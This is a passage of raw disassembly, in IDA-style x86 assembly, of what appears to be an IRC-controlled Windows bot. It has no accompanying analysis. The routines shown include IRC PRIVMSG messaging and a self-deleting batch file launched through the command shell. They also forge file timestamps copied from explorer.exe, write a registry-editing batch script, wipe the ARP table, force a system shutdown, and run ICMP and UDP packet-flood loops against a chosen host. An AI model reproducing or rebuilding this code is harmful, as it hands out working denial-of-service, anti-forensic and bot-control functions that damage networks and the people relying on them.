loc_4085B5:				; CODE XREF: sub_40857E+Bj
					; sub_40857E+19j
		xor	eax, eax
		pop	esi
		retn
sub_40857E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4085B9	proc near		; CODE XREF: sub_40CC09+416Bp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_44CCE8	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_408635
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:off_41F0C8
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:off_41F0C4
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_413812
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_44CD34	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_44CD34	; SendMessageA
		push	ebx
		call	ds:off_41F0C0
		push	edi
		call	ds:dword_41F058	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_408637
; ---------------------------------------------------------------------------


loc_408635:				; CODE XREF: sub_4085B9+16j
		xor	eax, eax


loc_408637:				; CODE XREF: sub_4085B9+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4085B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40863B	proc near		; CODE XREF: sub_40C2D0+21Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_44CD94	; SearchPathA
		test	eax, eax
		jz	short loc_4086DA
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41F05C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4086DA
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_41F0D0	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_41F058
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4086DA
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_41F0CC	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4086DA:				; CODE XREF: sub_40863B+2Aj
					; sub_40863B+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40863B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4086DF	proc near		; CODE XREF: sub_40CC09+130Bp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_44CC34	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4086DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408701	proc near		; CODE XREF: sub_40A3AD+4BAp
					; sub_40CC09+4F80p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42A330, esi
		push	edi
		jz	short loc_408725
		cmp	dword_44CDA8, esi
		jnz	short loc_408725
		push	esi
		call	sub_409A42
		pop	ecx


loc_408725:				; CODE XREF: sub_408701+13j
					; sub_408701+1Bj
		call	sub_413487
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:off_41F0E0
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_408885
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	ds:dword_41F054	; WriteFile
		push	edi
		call	ds:dword_41F058	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438A10
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_41F0B0	; GetModuleHandleA
		push	eax
		call	ds:dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40882D
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_41F0DC	; SetFileAttributesA


loc_40882D:				; CODE XREF: sub_408701+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:off_41F0D8
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_41F0D4	; CreateProcessA


loc_408885:				; CODE XREF: sub_408701+72j
		pop	edi
		pop	esi
		leave
		retn
sub_408701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408889	proc near		; CODE XREF: sub_40C2D0+34p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_413E60
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA_bat	; "c:\\a.bat"
		push	eax
		movsb
		call	sub_413812
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_408943
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	ds:dword_41F054	; WriteFile
		push	edi
		call	ds:dword_41F058	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	ds:dword_41F0D4	; CreateProcessA


loc_408943:				; CODE XREF: sub_408889+55j
		pop	edi
		pop	esi
		leave
		retn
sub_408889	endp


; =============== S U B	R O U T	I N E =======================================



sub_408947	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7D+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40896F
		push	[esp+arg_0]
		call	dword_44CD5C	; gethostbyname
		test	eax, eax
		jnz	short loc_408968
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_408968:				; CODE XREF: sub_408947+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40896F:				; CODE XREF: sub_408947+Dj
		retn
sub_408947	endp


; =============== S U B	R O U T	I N E =======================================



sub_408970	proc near		; CODE XREF: sub_40C929+D6p
		mov	ecx, dword_44CC14
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40897E
		call	ecx	; DnsFlushResolverCache

locret_40897E:				; CODE XREF: sub_408970+Aj
		retn
sub_408970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40897F	proc near		; CODE XREF: sub_40CC09:loc_4118A9p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_44CD54	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_408A45
		sub	ecx, 32h
		jz	loc_408A3E
		sub	ecx, 48h
		jz	short loc_4089DF
		sub	ecx, 6Eh
		jz	short loc_4089D8


loc_4089C1:				; CODE XREF: sub_40897F+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42874C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	short loc_408A1F
; ---------------------------------------------------------------------------


loc_4089D8:				; CODE XREF: sub_40897F+40j
		push	offset unk_428718
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_4089DF:				; CODE XREF: sub_40897F+3Bj
		push	[ebp+var_8]
		call	sub_413F0B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_413890
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_408A0C
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_44CD54	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_408A45
		jmp	short loc_4089C1
; ---------------------------------------------------------------------------


loc_408A0C:				; CODE XREF: sub_40897F+79j
		push	offset unk_4286D8


loc_408A11:				; CODE XREF: sub_40897F+5Ej
					; sub_40897F+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_408A1F:				; CODE XREF: sub_40897F+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_409833
		pop	ecx


loc_408A2F:				; CODE XREF: sub_40897F+C8j
					; sub_40897F+DCj
		push	esi
		call	sub_413F7F
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408A3E:				; CODE XREF: sub_40897F+32j
		push	offset unk_428698
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_408A45:				; CODE XREF: sub_40897F+29j
					; sub_40897F+89j
		cmp	[esi], edi
		jbe	short loc_408A2F
		lea	ebx, [esi+4]


loc_408A4C:				; CODE XREF: sub_40897F+DAj
		push	ebx
		call	dword_44CD50	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_408A4C
		jmp	short loc_408A2F
sub_40897F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A5D	proc near		; CODE XREF: sub_401447+249p
					; sub_401BD7+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CC84	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_44CF0C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_413812
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408A5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AB6	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_408ADF
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_408AD2:				; CODE XREF: sub_408AB6+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_408AD2
		pop	edi
		jmp	short loc_408AE3
; ---------------------------------------------------------------------------


loc_408ADF:				; CODE XREF: sub_408AB6+Aj
		mov	edx, [esp+4+arg_0]


loc_408AE3:				; CODE XREF: sub_408AB6+27j
		test	esi, esi
		pop	esi
		jz	short loc_408AED
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_408AED:				; CODE XREF: sub_408AB6+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_408AB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B03	proc near		; DATA XREF: sub_40CC09+29EBo

var_10220	= byte ptr -10220h
var_244		= byte ptr -244h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10220h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_44CC70	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_408B5E
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_44CD5C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_408B64


loc_408B5E:				; CODE XREF: sub_408B03+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_408BC1


loc_408B64:				; CODE XREF: sub_408B03+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_4287C8
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408BA4
		push	ebx
		lea	eax, [ebp+var_244]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40B2B5
		add	esp, 14h


loc_408BA4:				; CODE XREF: sub_408B03+7Fj
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040


loc_408BC1:				; CODE XREF: sub_408B03+5Fj
		cmp	eax, ebx
		jz	short loc_408BD1
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_408BD4
; ---------------------------------------------------------------------------


loc_408BD1:				; CODE XREF: sub_408B03+C0j
		mov	[ebp+var_4], esi


loc_408BD4:				; CODE XREF: sub_408B03+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_413890
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_408BF4
		mov	[ebp+var_3C], eax


loc_408BF4:				; CODE XREF: sub_408B03+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_408BFC
		mov	[ebp+var_38], edi


loc_408BFC:				; CODE XREF: sub_408B03+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_408C29


loc_408C03:				; CODE XREF: sub_408B03+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10220]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_44CC10	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_408C03


loc_408C29:				; CODE XREF: sub_408B03+FEj
		push	[ebp+arg_0]
		call	dword_44CD90	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_42878C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408C72
		push	ebx
		lea	eax, [ebp+var_244]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40B2B5
		add	esp, 14h


loc_408C72:				; CODE XREF: sub_408B03+14Dj
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040
sub_408B03	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C8F	proc near		; DATA XREF: sub_40CC09+2B40o

var_10212	= byte ptr -10212h
var_10210	= byte ptr -10210h
var_234		= byte ptr -234h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10210h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_44CD58	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_408D74
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_44CD5C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_408D6D
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_42883C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_408D50
		push	edi
		lea	eax, [ebp+var_234]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40B2B5
		add	esp, 14h


loc_408D50:				; CODE XREF: sub_408C8F+9Fj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_409833
		push	[ebp+var_20]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_408D6D:				; CODE XREF: sub_408C8F+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_408D77
; ---------------------------------------------------------------------------


loc_408D74:				; CODE XREF: sub_408C8F+6Ej
		lea	eax, [ebp+arg_0]


loc_408D77:				; CODE XREF: sub_408C8F+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_408D92
		call	sub_41386E
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408D95
; ---------------------------------------------------------------------------


loc_408D92:				; CODE XREF: sub_408C8F+F0j
		push	[ebp+var_24]


loc_408D95:				; CODE XREF: sub_408C8F+101j
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_408DA7
		mov	[ebp+var_24], esi


loc_408DA7:				; CODE XREF: sub_408C8F+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_408DB4
		mov	[ebp+var_24], eax


loc_408DB4:				; CODE XREF: sub_408C8F+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_408DC8
		mov	[ebp+var_28], esi


loc_408DC8:				; CODE XREF: sub_408C8F+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_408DE9


loc_408DCF:				; CODE XREF: sub_408C8F+158j
		call	sub_41386E
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10211h], dl
		jl	short loc_408DCF


loc_408DE9:				; CODE XREF: sub_408C8F+13Ej
					; sub_408C8F+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_408E48
		push	0Bh
		pop	esi


loc_408DF6:				; CODE XREF: sub_408C8F+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10210]
		push	eax
		push	ebx
		call	dword_44CD3C	; sendto
		push	[ebp+var_28]
		call	ds:dword_41F050	; Sleep
		dec	esi
		jnz	short loc_408DF6
		cmp	[ebp+var_24], edi
		jnz	short loc_408DE9
		call	sub_41386E
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_E], ax
		jmp	short loc_408DE9
; ---------------------------------------------------------------------------


loc_408E48:				; CODE XREF: sub_408C8F+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_428800
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_408E88
		push	edi
		lea	eax, [ebp+var_234]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40B2B5
		add	esp, 14h


loc_408E88:				; CODE XREF: sub_408C8F+1D7j
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_409833
		push	[ebp+var_20]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040
sub_408C8F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408EA5	proc near		; CODE XREF: sub_408ED5+2Ap
					; sub_408F0D+7Ep ...
		mov	eax, dword_44CF24
		push	esi
		mov	esi, ds:dword_41F058
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408EB9
		push	eax
		call	esi	; CloseHandle


loc_408EB9:				; CODE XREF: sub_408EA5+Fj
		mov	eax, dword_44CF2C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408EC6
		push	eax
		call	esi	; CloseHandle


loc_408EC6:				; CODE XREF: sub_408EA5+1Cj
		mov	eax, dword_44CF20
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408ED3
		push	eax
		call	esi	; CloseHandle


loc_408ED3:				; CODE XREF: sub_408EA5+29j
		pop	esi
		retn
sub_408EA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408ED5	proc near		; CODE XREF: sub_409BFD+14Ap
					; sub_40CC09+412Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_413E90
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_44CF28
		call	ds:dword_41F054	; WriteFile
		test	eax, eax
		jnz	short loc_408F08
		call	sub_408EA5
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_408F08:				; CODE XREF: sub_408ED5+28j
		push	1
		pop	eax
		leave
		retn
sub_408ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F0D	proc near		; CODE XREF: sub_408F94+D7p
					; sub_408F94+F6p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	offset byte_438A10
		push	[ebp+arg_4]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408F50
		push	7D0h
		call	ds:dword_41F050	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	short loc_408F67
; ---------------------------------------------------------------------------


loc_408F50:				; CODE XREF: sub_408F0D+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_100]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_408F67:				; CODE XREF: sub_408F0D+41j
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		test	eax, eax
		jg	short loc_408F90
		call	sub_408EA5


loc_408F90:				; CODE XREF: sub_408F0D+7Cj
		xor	eax, eax
		leave
		retn
sub_408F0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F94	proc near		; DATA XREF: sub_4090ED+170o

var_10C		= byte ptr -10Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		xor	edi, edi
		mov	ebx, offset dword_44CF30


loc_408FAC:				; CODE XREF: sub_408F94+79j
					; sub_408F94+DFj
		push	esi
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	esi
		push	eax
		push	dword_44CF24
		call	ds:off_41F0E8
		test	eax, eax
		jz	loc_40907E
		cmp	[ebp+var_4], edi
		jnz	short loc_40900F
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_44CF20
		call	ds:off_41F0E4
		test	eax, eax
		jz	short loc_409005
		cmp	[ebp+var_8], 103h
		jnz	loc_4090A2


loc_409005:				; CODE XREF: sub_408F94+62j
		push	0Ah
		call	ds:dword_41F050	; Sleep
		jmp	short loc_408FAC
; ---------------------------------------------------------------------------


